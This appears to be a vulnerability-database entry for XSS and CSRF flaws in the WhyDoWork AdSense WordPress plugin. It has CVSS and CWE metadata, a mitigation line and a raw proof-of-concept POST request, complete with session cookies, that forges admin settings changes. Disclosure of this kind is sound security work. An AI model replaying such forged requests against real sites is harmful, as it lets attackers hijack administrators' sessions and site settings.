WhyDoWork AdSense Plugin Cross-Site Scripting and Cross-Site Request-Forgery Vulnerabilities

vendor:

AdSense Plugin

by:

SecurityFocus

7,5

CVSS

HIGH

Cross-Site Scripting and Cross-Site Request-Forgery

79,352

CWE

Product Name: AdSense Plugin

Affected Version From: 1.2 and prior

Affected Version To: 1.2 and prior

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2014

WhyDoWork AdSense Plugin Cross-Site Scripting and Cross-Site Request-Forgery Vulnerabilities

WhyDoWork AdSense plugin for WordPress is prone to a cross-site scripting vulnerability and a cross-site request-forgery vulnerability. An attacker may exploit these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, or perform unauthorized actions. Other attacks may also be possible.

Mitigation:

Ensure that all user-supplied input is validated and filtered before being used in the application. Additionally, ensure that the application is running with the least privileges necessary.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/68954/info

WhyDoWork AdSense plugin for WordPress is prone to a cross-site scripting vulnerability and a cross-site request-forgery vulnerability.

An attacker may exploit these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, or perform unauthorized actions. Other attacks may also be possible.

WhyDoWork AdSense plugin 1.2 and prior are vulnerable. 

POST URL:
http://www.example.com/wordpress/wp-admin/options-general.php?page=whydowork_adsense&idcode=1
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:31.0) Gecko/20100101
Firefox/31.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-co
Accept-Encoding: gzip, deflate
Referer:
http://www.example.com/wordpress/wp-admin/options-general.php?page=whydowork_adsense&idcode=1
Cookie:
wordpress_bbfa5b726c6b7a9cf3cda9370be3ee91=hacking%7C1406766762%7C0a0ccdb16a9d99c2b9113e25e2ea6b8d;
wp-settings-time-1=1406489836;
wp-settings-1=editor%3Dtinymce%26libraryContent%3Dbrowse;
wordpress_test_cookie=WP+Cookie+check;
wordpress_logged_in_bbfa5b726c6b7a9cf3cda9370be3ee91=loreleitaron%7C1406766762%7C667e59a36d4254c8a178580770ac5135
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 843

CONTENIDO POST:
idx=1&whydowork_code=tets&whydowork_exclude=&whydowork_front_code_1=FALSE&whydowork_front_pos_1=top&whydowork_front_post_1=1&whydowork_front_code_2=FALSE&whydowork_front_pos_2=top&whydowork_front_post_2=1&whydowork_front_code_3=FALSE&whydowork_front_pos_3=top&whydowork_front_post_3=1&whydowork_page_code_1=FALSE&whydowork_page_pos_1=top&whydowork_page_code_2=FALSE&whydowork_page_pos_2=top&whydowork_page_code_3=FALSE&whydowork_page_pos_3=top&whydowork_single_code_1=FALSE&whydowork_single_pos_1=top&whydowork_single_code_2=FALSE&whydowork_single_pos_2=top&whydowork_single_code_3=FALSE&whydowork_single_pos_3=top&whydowork_singleold_code_1=FALSE&whydowork_singleold_pos_1=top&whydowork_singleold_code_2=FALSE&whydowork_singleold_pos_2=top&whydowork_singleold_code_3=FALSE&whydowork_singleold_pos_3=top&whydowork_adsense_oldday=&Submit=Update